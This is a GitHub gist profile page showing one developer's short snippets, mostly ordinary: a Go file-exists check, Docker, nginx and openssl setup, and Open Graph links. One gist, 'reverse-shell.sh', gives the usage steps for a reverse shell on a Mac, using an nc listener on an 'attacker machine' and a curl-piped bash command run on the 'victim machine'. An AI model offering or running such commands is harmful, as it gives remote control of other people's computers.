Skip to content

Instantly share code, notes, and snippets.

Matthias Kadenbach mattes

Block or report user

Report or block mattes

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@mattes
mattes / check.go
Last active Dec 13, 2019
Check if file or directory exists in Golang
View check.go
if _, err := os.Stat("/path/to/whatever"); os.IsNotExist(err) {
// path/to/whatever does not exist
}
if _, err := os.Stat("/path/to/whatever"); !os.IsNotExist(err) {
// path/to/whatever exists
}
View Dockerfile.tmpl
# using VirtualBox version $VBOX_VERSION
FROM boot2docker/boot2docker
RUN apt-get install p7zip-full
RUN mkdir -p /vboxguest && \
cd /vboxguest && \
curl -L -o vboxguest.iso http://download.virtualbox.org/virtualbox/$VBOX_VERSION/VBoxGuestAdditions_$VBOX_VERSION.iso && \
7z x vboxguest.iso -ir'!VBoxLinuxAdditions.run' && \
sh VBoxLinuxAdditions.run --noexec --target . && \
@mattes
mattes / default.conf
Last active Nov 28, 2019
redash.io setup
View default.conf
upstream redash {
server redash:5000;
}
server {
listen 80;
location / {
return 301 https://$host$request_uri;
}
@mattes
mattes / og.txt
Last active Nov 20, 2019
Open Graph debugger
View og.txt
http://ogp.me/
https://moz.com/blog/meta-data-templates-123
https://search.google.com/structured-data/testing-tool
https://developers.facebook.com/tools/debug/og/object - https://developers.facebook.com/docs/reference/opengraph
https://cards-dev.twitter.com/validator - https://dev.twitter.com/cards/types
https://developers.pinterest.com/tools/url-debugger/ - https://developers.pinterest.com/docs/rich-pins/overview/
https://developer.linkedin.com/docs/share-on-linkedin
View gist:4101349d109b8338a196e49a04572cfa
openssl genrsa -out server-ca-key.pem 4096
openssl req -x509 -new -key server-ca-key.pem -days 1825 -out server-ca.pem -subj '/C=US/ST=California/L=Palo Alto/O=Organization/CN=Debug Root CA'
openssl genrsa -out server-key.pem 4096
openssl req -subj '/CN=*' -sha256 -new -key server-key.pem -out server.csr
echo "subjectAltName = IP:127.0.0.1" > server-extfile.cnf
openssl x509 -req -days 1825 -sha256 -in server.csr -CA server-ca.pem -CAkey server-ca-key.pem -CAcreateserial -out server.pem -extfile server-extfile.cnf
@mattes
mattes / boot2docker-nfs.rb
Last active Oct 4, 2019
docker-machine/ boot2docker with NFS instead of vboxsf
View boot2docker-nfs.rb
#!/usr/bin/env ruby
# Usage
# $ docker-machine create my-machine123 -d virtualbox
# $ ruby <(curl -L https://git.io/vvvco) my-machine123
# https://gist.github.com/mattes/4d7f435d759ca2581347
require 'erb'
bootlocalsh = %Q(#/bin/bash
@mattes
mattes / reverse-shell.sh
Last active Aug 15, 2019
Reverse Shell Mac
View reverse-shell.sh
#!/usr/bin/env bash
# run `nc -nvl 80` on attacker machine first
# run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine
# great commands to run:
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg
# open /tmp/monkey.jpg
# * say hello
# * open http://lmgtfy.com/?q=how+to+lock+mac
# * ls
View gist:6c0bc186a7f013482d2b2d1c67a485ed
ws = new WebSocket("ws://localhost:8080");
ws.onopen = function(evt) {
console.log("OPEN");
}
ws.onclose = function(evt) {
console.log("CLOSE");
ws = null;
}
View dstat
dstat --time --load --cpu --mem --disk --net --tcp --udp --unix --blackonwhite
You can’t perform that action at this time.